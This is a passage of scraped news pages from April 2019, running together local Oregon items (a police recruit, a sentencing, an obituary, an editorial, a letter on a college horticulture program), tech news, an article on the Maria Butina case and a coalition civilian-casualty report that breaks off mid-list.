over and make a change like that and make a decision to change careers, especially if theyre successful, its refreshing. Rueben sees an advantage to Coons Philomath background. If you can in a small town find a qualified candidate that knows people in town, youve got a big jump-start, Rueben said. Knowing the town, knowing the problem areas and the good areas and the businesses, and actually how to drive around, which is a big part of it, its a huge benefit. Coon agrees that its an advantage to do police work in his own community. I see it as an opportunity to serve the community that Im a part of and that I care about and these are the people that Im among all the time and live around. I see that as an asset, Coon said. I can see it also where its hard to turn that off because now you dont leave the community when youre off-duty, so there is that challenge as well. Now, Coon starts all over again in what Rueben describes as the toughest part of his training. The academy, although it teaches you many police skills, a lot of it is administrative in nature the codes, reporting writing, those kinds of things, Rueben said. They have some application of tactical stuff, like firearms training, but patrol operations is a completely different ballgame. Its an 18-month process and so he basically starts over. The minute you hit the road and youre actually wearing a uniform and the gun, youve had some training but now the real-life practical application happens and thats where a lot of the learning comes, Rueben said. Among those in attendance at Coon's graduation was Lucas Sinclair, Philomaths other new officer. Sinclair began his four-month run at the academy on the following Monday. Love 0 Funny 0 Wow 2 Sad 0 Angry 0 Get local news delivered to your inbox! Subscribe to our Daily Headlines newsletter. Sign up! * I understand and agree that registration on or use of this site constitutes agreement to its user agreement and privacy policy. A La Pine man was sentenced to nearly four years in the custody of the Oregon Department of Corrections after being convicted of two sex crimes last week in Linn County Circuit Court. Clayton Lawrence Null, 20, pleaded no contest to two counts of second-degree sex abuse on April 19. Null was initially charged with two counts of first-degree rape and two counts of first-degree sodomy. The crimes allegedly happened in August, and the victim was a girl under the age of 16 who knew Null. Null must register as a sex offender. Kyle Odegard can be reached at kyle.odegard@lee.net, 541-812-6077 or via Twitter @KyleOdegard. Love 0 Funny 0 Wow 0 Sad 0 Angry 0 Get local news delivered to your inbox! Subscribe to our Daily Headlines newsletter. Sign up! * I understand and agree that registration on or use of this site constitutes agreement to its user agreement and privacy policy. April 2, 1935 April 17, 2019 Patricia Pat Hall, age 84, passed away April 17, 2019, due to breast cancer. She was born April 2, 1935, in Portland, Oregon, to Russell and Thelma Brown. She married the love of her life, Bobbie Hall, in May of 1954 and they celebrated their 50th wedding anniversary just before his passing. Pat was predeceased by her beloved brother Russie Brown. Her daughter Melanie Farey lost her battle to cancer in 1995. Family was the cornerstone of Pats life. She is survived by her children, Bob Hall, Mary Johnson, Tony Hall, Terri Mackley, Julie Dozler, Robin Trout and Becky Thill. Pat was a loving Gramma to 36 grandchildren; 59 great-grandchildren; and one great-great-grandchild. Her love was also shared with many honorary children and grandchildren along with countless dear friends. Once you were in Pats life, you were family. Pat made many lifelong friends while working at ISI in Halsey, Oregon. She volunteered at the Linn County Sheriffs Department, Coburg Police Department, and read to local elementary students as part of the SMART program. Pat also used her volunteer efforts to fulfill her dream of being a clown and was known for her clown collectibles. She enjoyed sewing crazy quilts," was an avid reader, enjoyed playing games such as Scrabble and Pinochle, and loved music and shared this love with her family who fondly remember her singing. Pat had a fierce love for Jesus and rarely has someone embodied his messages of love, acceptance, forgiveness and inclusivity as she did. May the Lord make your love increase and overflow for each other and for everyone else, just as ours does for you. 1 Thessalonians 3:12. Please visit Pats memorial website to stay updated on the upcoming summer memorial. http://www.never-gone.com/Memorials/Pathall. Donations can be made in Pats honor to the SMART Reader Program at https://www.getsmartoregon.org/get-involved/donate/. ROSE (roz) n. One of the most beautiful of all flowers, a symbol of fragrance and loveliness. Often given as a sign of appreciation. RASPBERRY (razbere) n. A sharp, scornful comment, criticism or rebuke; a derisive, splatting noise, often called the Bronx cheer. We hereby deliver: ROSES to you, if you're registered to vote in the May 21 election. If not, you still have time to register, but it's best to get a move on: The deadline is Tuesday, April 30, next week. Ballots get mailed out the very next day, May 1. These midyear elections in off years rarely generate the kind of turnout you see, say, presidential elections but they can a huge impact on our communities. This year, for example, Corvallis voters will determine the fate of a proposed local option levy that would fund services such as the Osborn Aquatic Center, the Majestic Theatre and the Corvallis-Benton County Public Library. And a number of seats on area school boards and other entities are up for grabs. So, yes, you should definitely make plans to vote in the May 21 election. But you can't vote unless you're registered, and you have to register by Tuesday. Fortunately, it's easy. Here's one way to do that: Log onto the Oregon Secretary of State's website at sos.oregon.gov and click on the green box that says "Register to Vote." And then get ready to make a real difference in your community. ROSES to Odin, a K-9 unit with the Coos County Sheriff's Office, who was back at work on Wednesday after a weekend encounter with a porcupine left him with more than 200 quills in his head and body, including several inside his mouth and two near his left eye. The Sheriff's Office said Odin, a German shepherd, was searching for a suspect Saturday when he ran afoul of the porcupine. He spent several hours under sedation at an animal hospital. On Wednesday, though, he was cleared to return to work, and that's what he did: "Back at work tonight!" read the message on the dog's Facebook page. "Thanks everyone for the thoughts and prayers! Let's get back to keeping our community safe!" And, presumably, giving those porcupines a wider berth next time. RASPBERRIES to what seems to be a rite of spring here in the Northwest: As the weather gets nicer, gasoline prices begin to rise. It's the case again this spring, as the average price of a gallon of gas in the Oregon is up 6 cents to $3.37. The national average is $2.85. Both are at their highest prices since last October, the auto club AAA reported. In addition to the normal seasonal surge in demand, West Coast drivers also must cope with refinery outages. The AAA reported that at least six refineries in the region have suffered recent operational issues, putting a squeeze on gasoline supplies. At that point, it's pretty basic economics: As supply drops and demand increases, prices go up. Oregon's gas price is the fourth-highest in the nation, and the seven states with the highest gas prices all are in the Western U.S. California leads the way, with an average price of $4.03. We wouldn't be shocked to see Oregon crack that $4 a gallon mark later this spring. (The nation's cheapest gas is in Alabama, at $2.50 a gallon.) ROSES to Oregon State University's determination to ensure that we don't forget the horrific events of the Holocaust: OSU will hold its annual Holocaust Memorial Week next week, and, as usual, has assembled a series of provocative events to mark the occasion. Among the highlights will be Monday's keynote lecture by Stephen Nasser, who was 13 when he was deported to the Auschwitz concentration camp in 1944. That speech is scheduled for 7:30 p.m. Monday, April 29 at the LaSells Stewart Center, 875 SW 26th St. on the OSU campus in Corvallis. Nasser, a native of Hungary who now lives in Nevada, kept a diary during his incarceration; the journal eventually became the memoir "My Brother's Voice." His talk is free, but attendees are encouraged to reserve free tickets in advance at http://bit.ly/2Gb4LTK. The week includes a variety of other events that are worth checking out. For details, and a schedule of events, go to this website: http://holocaust.oregonstate.edu. This marks OSU's 33 annual observance of the Holocaust. Every year, sadly enough, the event seems to grow more timely. (mm) Love 0 Funny 0 Wow 0 Sad 0 Angry 0 At the April 17 meeting of the Linn-Benton Community College Board of Education, board member Keith Frome suggested that supporters of the college's horticulture program go to the Legislature. But when asked if more state money would allow us to keep horticulture, LBCC Vice President Ann Buchele responded that if more money comes from the Legislature, the board will direct the administration to focus on reducing the tuition increase. Buchele implied that it is the board's prerogative to prioritize keeping existing programs, but that it hasnt done so. Is there any board direction that before program elimination, the administration must give a clear mandate to that program with the desired metrics and five years to accomplish it? Eliminating the LBCC horticulture program is a short-term budget solution that devastates local study of the longest term strategy people have for thriving. People have been cultivating crops for as long as we can remember. I support an uninterrupted education for horticulture and crop production students. I support a tuition decrease. LBCC has funded administration and instructor hiring, building projects and land purchases in the last year, the most recent a $500,000 tract of land for equine science. This is not a funding issue but a priority issue. Please direct President Green Hamann and his administration to revoke the suspension of horticulture immediately. Greenhouses, farms, students, and teachers do not easily come back after a suspension. Karen Canan Corvallis (April 20) Love 0 Funny 0 Wow 0 Sad 1 Angry 0 Who is constructing Khadori 3 Hydropower Plant in Pankisi Gorge? - GeorgianJournal How to use the Infinity Gauntlet from Google search to wipe out half search results? News oi-Vivek Here is everything you need to know about the Infinity Gauntlet Most, if not all my friends and colleagues are waiting for this day, the 26th of April, the premiere date for the release of the most anticipated movie from MCU (Marvel Cinematic Universe), the Avengers Endgame. The multi-billion dollar movie is finally hitting the screens near you, and to commemorate this, Google has released its own Infinity Gauntlet, which can wipe out half the search results about Thanos, the Mad Titan. How to use Infinity Gauntlet on Google? Go to Google official website Search for Thanos On the right corner, you will find the Infinity Gauntlet and click on that It will wipe out half the search results about Thanos If you want to restore the search results, then click on the Infinity Gauntlet, again Using the time stone, the Gauntlet restores all the search results about Thanos What is Infinity Gauntlet? The Infinity Gauntlet is a special glove that can house all six Infinity stones and deliver the power of the Infinity stones those who wears the gauntlet. Space Stone (blue), the Reality Stone (red), the Power Stone (purple), the Mind Stone (yellow), the Time Stone (green) and the Soul Stone (orange) are the six infinity stones. What does Thanos do with six Infinity stones or the Infinity Gauntlet? In the climax of the Avengers Infinity War, Thanos uses the Infinity Gauntlet to wipe out half the population of the earth to maintain the balance by snapping his fingers. When he snaps his finger, half of the earth's population vanishes out like a dust. Now, according to a user theory, the rest of the Avengers, the rest of the Avengers, including Iron Man, Hulk, and Ant Man are most likely to use the Infinity Gauntlet's Time stone in the quantum relm to undo the changes made by the Mad Titan to bring back everyone on the planet earth in the Avengers Endgame movie. Best Mobiles in India Detel forays into refurbished device segment News oi-Priyanka Dua Detel has announced that it has a complete range of Detel products are now available on Flipkart. Feature phone and TV brand Detel has announced forays into new business vertical of the refurbished device with an e-commerce platform. "With PreLoved Device, Detel aims to strengthen the entire ecosystem of buying and selling of refurbished and pre-owned devices. The company ensures the quality by selling the most authenticated products certified and graded by the experts at Detel's state-of-the-art refurbishment facility," Detel said. Yogesh Bhatia, MD, Detel, stated, "With the launch of PreLoved Device, Detel embarks a new journey of creating a New environment of Refurbished for our better tomorrow by building a strong new perception for Refurbished device in India. We are planning to propel the idea extensively amongst Indians to have them embraced the wave of refurbishing in their lives." As per reports, India produces 2 million tonnes (MT) of e-waste annually, out of which 82 percent of this e-waste is pertaining to personal devices. Sanjeev Soni, Head, PreLoved Device, said "With attractive packaging, warranty, pricing, PreLoved Device also bring a pool of value added services such as Free Shipping, multiple payment options, new accessories along with the refurbished device, as well as a dedicated Loyalty programme for its customers. We are extensively working on creating much more value adds for our customers in the time to come." To recall, Detel has announced that it has a complete range of Detel products are now available on Flipkart. With this partnership, Detel will continue to build a strong portfolio in the feature phone and TV category, providing customers with a vast selection, unmatched value, and fast & reliable doorstep delivery. With this tie-up, we aim to reach to the audience in tier 1 and 3 cities. Best Mobiles in India Facebook, To stay updated with latest technology news & gadget reviews, follow GizBot on Twitter YouTube and also subscribe to our notification. Allow Notifications 'Not A Spy In The Traditional Sense:' How The Butina Case Lifted The Lid On Alleged Russian Operations By Mike Eckel April 25, 2019 WASHINGTON -- In the lexicon of U.S. counterintelligence, it's called "spot and assess," "access agents," and "backchannels." According to U.S. prosecutors, it's also what Maria Butina, a now 30-year-old Russian graduate student, was doing during her time in United States. "Butina was not a spy in the traditional sense of trying to gain access to classified information to send back to her home country. She was not a trained intelligence officer," prosecutors wrote in a memo. "But the actions she took were nonetheless taken on behalf of the Russian Official for the benefit of the Russian Federation, and those actions had the potential to damage the national security of the United States." The assertion, made in filings in U.S. District Court in Washington, D.C., was part of federal authorities' final arguments in their case against Butina, who is scheduled for sentencing on April 26 after pleading guilty last year to being an unregistered agent of a foreign government. She could get up to five years in prison, although U.S. officials have requested 18 months and her subsequent deportation. In addition to laying out the final arguments, the filings provide insight into how U.S. law enforcement and intelligence officials view efforts by Russia to infiltrate political groups, academia, business circles, and other parts of U.S. society. "Acquiring information valuable to a foreign power does not necessarily involve collecting classified documents or engaging in cloak-and-dagger activities," another memo included in the filing said. Though separate from the now-concluded investigation by Special Counsel Robert Mueller, the case against Butina touched on many of the same issues that continue to roil U.S. politics: how and why Russia sought to interfere in U.S. politics in and before the 2016 presidential election. 'Espionage-Lite' At the heart of Butina's case is the allegation that before and during her studies at American University in Washington she sought to build relationships with U.S. conservative political groups, including the influential National Rifle Association (NRA), on behalf of at least one powerful Kremlin-connected lawmaker. She was charged not under the Foreign Agents Registration Act (FARA) but under a lesser-known U.S. law informally known as "espionage-lite." That legislation targets "espionage-like or clandestine behavior or an otherwise provable connection to an intelligence service, or information gathering or procurement-type activity on behalf of a foreign government." In court filings, prosecutors homed in on specific projects that Butina allegedly undertook. For example, in March 2015, she is said to have drafted something called the "Diplomacy Project" with help from "U.S. Person 1" and, to carry out the plan, requested $125,000 from a Russian billionaire to attend conferences and set up "separate meetings with interested parties." U.S. Person 1 is widely believed to be Paul Erickson, a conservative U.S. activist identified as Butina's boyfriend. He was charged in February with fraud in a case unrelated to Butina's. The filings have asserted that Butina's main backer in Russia was Aleksandr Torshin, a former top Central Bank official and former lawmaker whom Spanish authorities have alleged has links to Russian organized crime. He was sanctioned by the U.S. Treasury Department in April 2018, three months before Butina was arrested. Butina was "fully aware that he reported to the rest of the Russian government and her actions were ultimately for the benefit of the foreign government," prosecutors alleged. In their April 19 filing, prosecutors included a memo, or "declaration," by Robert Anderson, a 20-year veteran of the FBI and former assistant director for its counterintelligence division. Aimed at bolstering the government's arguments, the memo highlights in detail how the FBI identifies the activities of foreigners that would potentially be considered espionage. "A spot-and-assess operation does not require secret encryption, dead drops, or any other trappings of a Hollywood spy story," Anderson wrote. "Butina collected information about numerous American citizens who she believed had access to and influence with senior levels of the United States government. She focused specifically on Americans with political influence and Americans who had access, or were expected to acquire access, to the incoming presidential administration. Her ability to gain meaningful access to these powerful individuals would be incredibly valuable to the Russian government," he alleged. "That Butina presented herself as someone with high-level connections in the Russian government but never asked potential targets to provide any confidential information or do anything obviously illegal is entirely consistent with a spot-and-assess operation," Anderson said. Andrew Weiss, who was a top Russia director for the National Security Council under former Democratic President Bill Clinton, said the entire filing, including with the Anderson declaration, should be viewed not only in the context of the Butina case but also in parallel to what was outlined in the Mueller report, a partly redacted version of which was released on April 18. In it, Mueller corroborated U.S. intelligence conclusions of Russian meddling in the 2016 election that was won by President Donald Trump but "did not establish" that Trump campaign officials "conspired or coordinated with the Russian government in its election interference activities." "The biggest issue here is that we have a relatively small case compared to the massive set of issues raised within [the] Mueller [investigation]. And here you have the Justice Department prosecutors...outlining why what Butina did was so damaging, and then they amplify it with Anderson's declaration," said Weiss, who also served at the U.S. State Department and the Pentagon. Pliable Interlocutors He said that mirrored what appeared to be happening in 2016 and 2017, when Russian businessmen and others were said to be trying to reach out to the incoming Trump administration -- something that was documented in the Mueller report. "The question is: Is it bad to have people who are looking for interlocutors who might be more pliable? Is it bad to have Russian figures see if Trump administration officials might be against the prevailing Republican notions of foreign policy, or policy toward Russia?" Weiss said. When she was arrested, Butina denied the charges. She changed her plea in December and agreed to cooperate with prosecutors. Still, defense lawyers have strenuously fought the assertion that she was a spy, insisting that she was merely an eager advocate for improving a toxic relationship between Moscow and Washington. In their pre-sentencing filing, Butina's lawyers accused prosecutors of only belatedly asserting the "spot-and-assess" accusation and asked the judge to ignore it and not to let Anderson testify at her sentencing. They asserted that the prosecutors' memo "raises a wholly new theory of espionage activity that was never charged, never cleared by a grand jury, never disclosed, and never even raised directly with Maria during her 50-plus hours of interviews." Neither of her lawyers, Robert Driscoll or Alfred Carry, would comment further ahead of the sentencing. "Anderson's phraseology is so chilling because it shows an amazing level of Russia's potential ability to tip major U.S. foreign policy making in a favorable direction," Weiss said. "How does a sophisticated adversary with a huge intelligence apparatus operate in the United States," he added. "This is one manifestation of how they operate and it's surely not the only one." Source: https://www.rferl.org/a/russia-maria -butina-sentincing-spying-counter -intelligence/29903800.html Copyright (c) 2019. RFE/RL, Inc. Reprinted with the permission of Radio Free Europe/Radio Liberty, 1201 Connecticut Ave., N.W. Washington DC 20036. NEWS LETTER Join the GlobalSecurity.org mailing list Enter Your Email Address Combined Joint Task Force - Operation Inherent Resolve Monthly Civilian Casualty Report U.S. Central Command Release No: 19-025 April 25, 2019 April 25, 2019 Release # 20190425--01 FOR IMMEDIATE RELEASE SOUTHWEST ASIA -- Since the beginning of operations in 2014, the Coalition and partner forces have liberated nearly 110,000 square kilometers (42,471 square miles) from Daesh, eliminating their self-proclaimed territorial caliphate and freeing 7.7 million people from Daesh oppression. The Coalition will continue to work with partner forces to deny Daesh any physical space and influence in the region as well as deny Daesh the resources they need to resurge. We continue to employ thorough and deliberate targeting and strike processes to minimize the impact of our operations on civilian populations and infrastructure. This process includes thorough review and vetting of each target package prior to a strike and another review after that strike. Our regular strike reports make our activities publicly accessible, and our monthly publication of civilian casualty reports makes our civilian casualty assessments similarly accessible to the public. As we have demonstrated, we are willing to consider new civilian casualty allegations as well as new or compelling evidence on past allegations to establish accountability based on the best available evidence. The Coalition conducted 34,464 strikes between August 2014 and end of March 2019. During this period, based on information available, CJTF-OIR assesses at least 1291 civilians have been unintentionally killed by Coalition strikes since the beginning of Operation Inherent Resolve. In the month of March, CJTF-OIR carried over 146 open reports from previous months and received seven new reports. CJTF-OIR completed 31 civilian-casualty allegation assessment reports; including two that had been previously closed but were reopened with the availability of new information. Out of the 31 completed casualty allegation reports, 11 reports were determined to be credible and resulted in 34 unintentional civilian deaths. One of the reports was determined to be a duplicate report and the remaining 19 reports were assessed to be non-credible. One hundred and twenty two reports are still open, including three that had been previously closed but were reopened due to the availability of new information. Credible Reports--In these 11 incidents, the investigation assesses that the Coalition took all feasible precautions and the decision to strike complied with the law of armed conflict. Coalition forces work diligently to be precise during the planning and execution of airstrikes to reduce the risk of harm to civilians. 1. June 19, 2015, near Khanaiz village, north of Raqqah, Syria, via Airwars report. Coalition aircraft conducted a strike on Daesh terrorists. Regrettably, two civilians, and possibly a third, in passing vehicles (a bongo truck and a three-wheeled motorcycle) were unintentionally killed due to the proximity of the strike. 2. Jan. 7, 2017, near Kasrat Sheikh Al Juma'a, Raqqah, Syria, via Airwars report. Coalition aircraft conducted a strike on Daesh terrorists in a vehicle. Regrettably, one civilian was unintentionally killed and another unintentionally wounded due to their proximity to the strike. 3. May 28, 2017, near Al Hamam, Syria, via Airwars report. Coalition aircraft conducted a strike on a suspected Daesh weapons cache. Regrettably, the strike on an associated target building unintentionally resulted in the deaths of three civilians. 4. June 2, 2017, near Raqqah, Syria, via Airwars report. Coalition aircraft conducted a strike against hostile forces at a Daesh checkpoint. Regrettably, one civilian was unintentionally killed due to the proximity of the strike. 5. July 1, 2017, near Hossain, Dier ez Zor, Syria, via Airwars report. Coalition aircraft conducted a strike on a Daesh command structure. Regrettably, five civilians were unintentionally killed due to the proximity of the strike locations. 6. July 13, 2017, near Hisham Bin Abd al-Malik neighborhood, Raqqah, Syria, via Airwars report. Coalition aircraft conducted two strikes on a Daesh hostile fighting position. Regrettably, two civilians were unintentionally killed and two more were unintentionally wounded due to the proximity of these strikes. 7. July 15, 2017, near al Badou, Raqqah, Syria, via Airwars report. Coalition aircraft engaged four Daesh defensive fighting positions near the Hospital of Modern Medicine. Regrettably, 13 civilians were unintentionally killed and eight civilians were unintentionally wounded due to their proximity to the target location. 8. July 22, 2017, near Bajari, Syria, via Airwars report. Coalition aircraft struck an identified Daesh mortar firing position. Regrettably, one civilian was unintentionally killed and three more were unintentionally wounded due to their proximity to the strike. 9. Dec. 13, 2017, near Hajin, Syria, via Airwars report. Coalition aircraft conducted a strike on a Daesh operative. Regrettably, one civilian was unintentionally killed and one civilian was unintentionally wounded due to the proximity of the strike. 10. Jan. 20, 2018, near al-Khashmah, Syria, via self-report. Coalition aircraft conducted multiple engagements against Daesh forces. Regrettably, four civilians were unintentionally killed due to their proximity to the targets. 11. Oct. 31, 2018, near Hajin, Syria, via self-report. Coalition aircraft conducted one strike on a Daesh improvised explosive device factory. Regrettably, four civilians were unintentionally wounded due to their proximity to the impact point. Duplicate Reports-- One report was assessed to be a duplicate of another report that has previously been assessed. 1. Jan. 25, 2017, near Sihal al-Khashab village, Syria, via social media report and Airwars report. Allegation originally received 25 January 2017 and closed due to insufficient information. Allegation was re-opened upon receipt of new information but was subsequently closed March 2019 as a duplicate allegation. Non Credible Reports-- After a thorough review of the facts and circumstances of each civilian casualty report, CJTF-OIR assessed the following 19 reports as non-credible. At this time there is insufficient information to assess that, more likely than not, a Coalition strike resulted in civilian casualties. 1. Nov. 10, 2016, near Mosul, Iraq, via self-report. After review of all available strike records it was determined that more likely than not civilian casualties did not occur as a result of a Coalition strike. 2. Jan. 1, 2017, near Sarmada, Syria, via Airwars report. After review of all available strike records it was determined that more likely than not civilian casualties did not occur as a result of a Coalition strike. 3. May 23, 2017, near Kdeiran, Syria, via Airwars report. After review of all available strike records it was determined that more likely than not civilian casualties did not occur as a result of a Coalition strike. 4. May 26, 2017, near road between Raqqah and al-Mansoura, Syria, via Airwars report. After review of all available strike records it was determined that more likely than not civilian casualties did not occur as a result of a Coalition strike. 5. June 20, 2017, near Kasrat Faraj, Syria, via Airwars report. After review of all available strike records it was determined that more likely than not civilian casualties did not occur as a result of a Coalition strike. 6. June 24, 2017, near al-Dari'ya, Raqqah, Syria, via Airwars report. After review of all available strike records it was determined that more likely than not civilian casualties did not occur as a result of a Coalition strike. 7. July 3, 2017, near Dakat Barka, Mosul, Iraq, via Airwars report (previously closed, but the CIVCAS cell reopened it due to new information). After review of all available strike records it was determined that more likely than not civilian casualties did not occur as a result of a Coalition strike. 8. July 3, 2017, near al-Bado neighborhood, Raqqah, Syria, via Airwars report. After review of all available strike records it was determined that more likely than not civilian casualties did not occur as a result of a Coalition strike. 9. July 5, 2017, near Raqqah, Syria, via Airwars report. After review of all available strike records it was determined that more likely than not civilian casualties did not occur as a result of a Coalition strike. 10. July 14, 2017, near al-Tawas'iyah neighborhood, Raqqah, Syria via Airwars report. After review of all available strike records it was determined that more likely than not civilian casualties did not occur as a result of a Coalition strike. 11. Aug. 6, 2017, near Raqqah, Syria via Airwars report. After review of all available strike records it was determined that more likely than not civilian casualties did not occur as a result of a Coalition strike. 12. Aug. 12, 2017, near Raqqah, Syria via Airwars report. After review of all available strike records it was determined that more likely than not civilian casualties did not occur as a result of a Coalition strike. 13. Aug. 23, 2017, near Al Mayadin, Syria via Airwars report. After review of all available strike records it was determined that more likely than not civilian casualties did not occur as a result of a Coalition strike. 14. Sept. 5, 2017, near Al Naim (Dawar al Naim), Raqqah, Syria via Airwars report. After review of all available strike records it was determined that more likely than not civilian casualties did not occur as a result of a Coalition strike. 15. Sept. 16, 2017, near Mayadin, Syria, via Airwars report. After review of all available strike records it was determined that more likely than not civilian casualties did not occur as a result of a Coalition strike. 16. Nov. 8, 2017, near Abu Kamal, Syria, via Airwars report. After review of all available strike records it was determined that more likely than not civilian casualties did not occur as a result of a Coalition strike. 17. Jan. 30, 2018, near al-Bahra, Syria, via Airwars report. After review of all available strike records it was determined that more likely than not civilian casualties did not occur as a result of a Coalition strike. 18. Feb. 5, 2019, near al-Baghouz, Syria, via self-report. After a review of available information it was assessed that no Coalition strikes were conducted in the geographical area that correspond to the report of civilian casualties. 19. Feb. 12, 2019, near al-Baghouz, Syria, via social media report. The report contains insufficient information of the time, location and details to assess its credibility. Open Reports-- CJTF-OIR is still assessing 122 reports of civilian casualties: 1. Nov. 7, 2014, near Al-Tanak Oilfield, Syria, via Syrian Human Rights Network report. 2. Dec. 28, 2014, near Jarabulus, Syria, via Airwars report. 3. Aug. 24, 2015, near Mosul, Iraq, via Airwars report. 4. Oct. 30, 2015, near Qayyarah, Iraq, via media report. 5. Nov. 7, 2015, near Qayyarah, Iraq, via media report. 6. Dec. 24, 2015, near Manbij, Syria, via self-report. 7. June 1, 2016, near Mosul, Iraq, via Airwars report. 8. Sept. 22, 2016, near Qayyarah, Iraq, via media report. 9. Oct. 13, 2016, near Qayyarah, Iraq, via media report. 10. Jan. 3, 2017, near Sarmada, Syria, via social media report (previously closed, but the CIVCAS cell reopened it due to new information). 11. Jan. 6, 2017, near Taftanaz, Idlib, Syria, via Airwars report. 12. Jan. 11, 2017, near Saraqib, Idlib, Syria, via Airwars report. 13. Jan. 14, 2017, near Al Mayadin, Syria, via Airwars report. 14. Jan. 17, 2017, near Baysan neighborhood, Mosul, Iraq, via social media report (previously closed, but the CIVCAS cell reopened it due to new information). 15. Jan. 26, 2017, near Mosul, Iraq, via Airwars report. 16. Feb. 3, 2017, near Sarmin, Idlib, Syria, via Airwars report. 17. Feb. 10, 2017, near Hatra, Iraq, via Airwars report. 18. Mar. 8, 2017, near Al Karamah, Syria via Airwars report. 19. Mar. 11, 2017, near Al Karamah, Syria, via Airwars report. 20. Mar. 23, 2017, near al-Yarmouk neighborhood, Mosul, Iraq, via self-report. 21. Mar. 25, 2017, near Al Mayadin, Syria, via Airwars report. 22. Mar. 27, 2017, near Sarmada, Idlib, via Airwars report. 23. Apr. 5, 2017, near al-Shafa neighborhood, Mosul, Iraq, via Airwars report. 24. Apr. 7, 2017, near Hamra Ghanim, Syria, via Airwars report. 25. Apr. 11, 2017, near al-Yarmouk neighborhood, Mosul, Iraq, via Airwars report. 26. Apr. 11, 2017, near al-Sahab neighborhood, Mosul, Iraq, via Airwars report. 27. Apr. 19, 2017, near al-Thawra neighborhood, Mosul, Iraq, via Airwars report. 28. Apr. 28, 2017, near al-Tabaqah, Syria, via Airwars report. 29. May 6, 2017, near Mayadin, Syria, via Airwars report. 30. May 9, 2017, near Abu Kamal, Syria, via Airwars report. 31. May 13, 2017, near Between two Bridges, Raqqah, Syria, via Airwars report. 32. May 28, 2017, near Al Mansoura, Syria, via Airwars report. 33. June 3, 2017, near Hawi al Hawa, Syria, via Airwars report. 34. June 3, 2017, near al Jisr al Qadim, Raqqah, Syria, via Airwars report. 35. June 4, 2017, near Abu al Naital, Syria, via Airwars report. 36. June 10, 2017 near Euphrates River, Syria via Amnesty International report. 37. June 12, 2017, near al-Tib al-Hadeeth area, Raqqah, Syria via Airwars report. 38. June 13, 2017 near Kasrat Sheikh Jum'ah Syria, via Airwars report. 39. June 17, 2017, near Hawijah al-Swafi, Raqqah, Syria via Airwars report. 40. June 18, 2017, near al-Firdous neighborhood, Raqqah, Syria, via Airwars report. 41. June 18, 2017, near al-Meshahda neighborhood, Mosul, Iraq, via Airwars report. 42. June 21, 2017, near Amn al-Dawlah neighborhood, Raqqah, Syria, via Airwars report. 43. June 23, 2017, near al-Saa'a neighborhood, Mosul, Iraq via Airwars report. 44. June 23, 2017, near Abu Kamal, Syria via Airwars report (previously closed, but the CIVCAS cell reopened it due to new information). 45. June 24, 2017, near Adnan al-Maliki school, Raqqah, Syria via Airwars report. 46. June 26, 2017, near Al Mayadin, Syria via Airwars report. 47. June 26, 2017, near Euphrates River, Raqqah, Syria, via Airwars report. 48. June 27, 2017, near Euphrates River, Raqqah, Syria, via Airwars report. 49. June 30, 2017, near Al Dashaisha, Syria via Airwars report. 50. July 2, 2017, near Al Soor, Syria via Airwars report. 51. July 13, 2017, near Raqqah, Syria via Airwars report. 52. July 23, 2017, near Nazlet Shahata, Syria via Airwars report. 53. Aug. 5, 2017, near Raqqah, Syria via Airwars report. 54. Aug. 11, 2017, near Raqqah, Syria, via Airwars report. 55. Aug. 20, 2017, near Raqqah, Syria via Airwars report. 56. Aug. 20, 2017, near Raqqah, Syria via Airwars report. 57. Aug. 23, 2017, near Karabla, al Qaiem, Iraq via Airwars report. 58. Aug. 23, 2017, near Raqqah, Syria via Airwars report. 59. Sept. 4, 2017, near Raqqah, Syria via Airwars report. 60. Sept. 5, 2017, near Raqqah, Syria, via media report. 61. Sept. 17, 2017, near Abu Kamal, Syria, via Airwars report. 62. Sept. 18, 2017, near al Mrashdah village, Albu Kamal, Syria, via Airwars report. 63. Sept. 18, 2017, near Raqqah, Syria, via Airwars report. 64. Sept. 19, 2017, near Raqqah, Syria, via Airwars report. 65. Oct. 10, 2017, near Deir Ez Zor, Syria via self-report. 66. Oct. 13, 2017, near Husaybah, al Qaiem, Iraq via Airwars report. 67. Oct. 17, 2017, near Abu Kamal, Syria via self-report. 68. Nov. 14, 2017, near al-Hawaij village, Syria, via Airwars report. 69. Nov. 26, 2017, near Daranj, Syria, via Airwars report. 70. Nov. 28, 2017, near El Qata, Syria, via self-report. 71. Dec. 1, 2017, near Granij, Syria, via Airwars report. 72. Dec. 5, 2017, near al-Jarthi, Syria, via Airwars report. 73. Dec. 10, 2017, near Abu Hamam, Syria, via Airwars report. 74. Dec. 22, 2017, near Hajin, Syria, via Airwars report. 75. Dec. 25, 2017, near Kharayij, Syria, via self-report. 76. Dec. 29, 2017, near al-Bahra, Syria, via Airwars report. 77. Feb. 2, 2018, near al-Bahra, Syria, via Airwars report. 78. Feb. 6, 2018, near al-Shafaa, Syria, via self-report. 79. Feb. 28, 2018, near al-Sha'fah village, Syria, via Airwars report. 80. Mar. 2, 2018, near al-Bajari, Syria, via Airwars report. 81. May 10, 2018, near al Khatuniyah, Syria, via self-report. 82. May 27, 2018, near al-Soussa, Syria, via Airwars report. 83. May 31, 2018, near al-Soussa, Syria, via Airwars report. 84. June 12, 2018, near Hassoun al-Basha village, Syria, via Airwars report. 85. June 13, 2018, near al-Sousa, Syria, via Airwars report. 86. June 21, 2018, near al-Sha'fah, Syria, via Airwars report. 87. July 16, 2018, near Deir Ezzor, Syria, via self-report. 88. July 22, 2018, near al-Sousa, Syria, via social media report. 89. Aug. 1, 2018, near Ash Shajlah, Syria, via self-report. 90. Aug. 23, 2018, near Abu Kamal, Syria, via self-report. 91. Oct. 20, 2018, near al-Sousa, Syria, via social media report. 92. Nov. 12, 2018, near Hajin, via social media report 93. Nov. 14, 2018, near Abu Kamal and Al Baghouz, via social media report. 94. Nov. 17, 2018, near Abu al-Hasan, Syria, via Syrian Observatory for Human Rights report. 95. Nov. 25, 2018, near Al- Sha'fa, Syria, via social media report. 96. Nov.29, 2018, near Al-Sha'fa, Syria, via social media report. 97. Nov. 29, 2018, near Al-Kashma, Syria, via social media report. 98. Dec. 10, 2018, near al-Kashmah, Syria, via social media report. 99. Dec. 12, 2018, near Hajin, Syria, via self-report. 100. Dec. 12, 2018, near Abu Kamal, Syria, via self-report. 101. Dec. 20, 2018, near al-Shafaa, Syria, via social media report. 102. Jan. 04, 2019, near al-Shafaa, Syria, via self-report. 103. Jan. 05, 2019, near al-Mrashdah, Syria, via self-report. 104. Jan. 10, 2019, near al-Shajlah, Syria, via self-report. 105. Jan. 10, 2019, near al-Susah, Syria, via self-report. 106. Jan. 18, 2019, near al-Baghouz, Abu Kamal, 